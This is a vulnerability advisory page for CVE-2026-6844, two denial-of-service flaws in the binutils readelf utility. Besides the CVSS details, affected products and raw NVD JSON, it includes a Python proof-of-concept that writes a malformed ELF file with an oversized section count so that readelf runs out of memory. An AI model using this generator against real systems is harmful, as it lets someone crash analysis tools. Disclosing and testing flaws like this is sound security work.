Security Vulnerability Report
中文
CVE-2026-6844 CVSS 5.5 MEDIUM

CVE-2026-6844

Published: 2026-04-22 09:16:27
Last Modified: 2026-05-20 14:00:12

Description

A flaw was found in the `readelf` utility of the binutils package. A local attacker could exploit two Denial of Service (DoS) vulnerabilities by providing a specially crafted Executable and Linkable Format (ELF) file. One vulnerability, a resource exhaustion (CWE-400), can lead to an out-of-memory condition. The other, a null pointer dereference (CWE-476), can cause a segmentation fault. Both issues can result in the `readelf` utility becoming unresponsive or crashing, leading to a denial of service.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gnu:binutils:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:* - VULNERABLE
binutils (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # Malformed ELF PoC generator for CVE-2026-6844 # This generates an ELF file with a huge e_shnum to trigger resource exhaustion (CWE-400) def generate_malformed_elf(filename): # ELF Header (64-bit) # e_ident: 0x7f 'E' 'L' 'F' e_ident = b'\x7fELF\x02\x01\x01\x00' + b'\x00' * 8 # Set e_type to ET_EXEC (Executable) e_type = struct.pack('<H', 2) # Set e_machine to EM_X86_64 e_machine = struct.pack('<H', 62) # Set e_version e_version = struct.pack('<I', 1) # Set entry point and offsets (placeholder) e_entry = struct.pack('<Q', 0) e_phoff = struct.pack('<Q', 0) e_shoff = struct.pack('<Q', 64) # Section header offset right after header # Set e_flags e_flags = struct.pack('<I', 0) # Set e_ehsize (size of this header) e_ehsize = struct.pack('<H', 64) # Set e_phentsize, e_phnum e_phentsize = struct.pack('<H', 0) e_phnum = struct.pack('<H', 0) # Set e_shentsize e_shentsize = struct.pack('<H', 64) # MALICIOUS: Set e_shnum to a very large number to trigger OOM # readelf might try to allocate memory based on this value e_shnum = struct.pack('<H', 0xFFFF) # Set e_shstrndx e_shstrndx = struct.pack('<H', 0) header = e_ident + e_type + e_machine + e_version + e_entry + e_phoff + e_shoff + e_flags + e_ehsize + e_phentsize + e_phnum + e_shentsize + e_shnum + e_shstrndx with open(filename, 'wb') as f: f.write(header) # Write one dummy section header to avoid immediate segfault on read size, # but logic will loop based on e_shnum f.write(b'\x00' * 64) if __name__ == "__main__": generate_malformed_elf('crash_me.elf') print("Malformed ELF file generated: crash_me.elf") print("Usage: readelf -a crash_me.elf")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6844", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:27.140", "lastModified": "2026-05-20T14:00:12.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the `readelf` utility of the binutils package. A local attacker could exploit two Denial of Service (DoS) vulnerabilities by providing a specially crafted Executable and Linkable Format (ELF) file. One vulnerability, a resource exhaustion (CWE-400), can lead to an out-of-memory condition. The other, a null pointer dereference (CWE-476), can cause a segmentation fault. Both issues can result in the `readelf` utility becoming unresponsive or crashing, leading to a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:binutils:-:*:*:*:*:*:*:*", "matchCriteriaId": "70CA109B-85B9-4EF2-9A5F-A7D12F6EA878"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:*", "matchCriteriaId": "87DEB507-5B64-47D7-9A50-3B87FD1E571F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "932D137F-528B-4526-9A89-CD59FA1AB0FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-6844", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460016", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}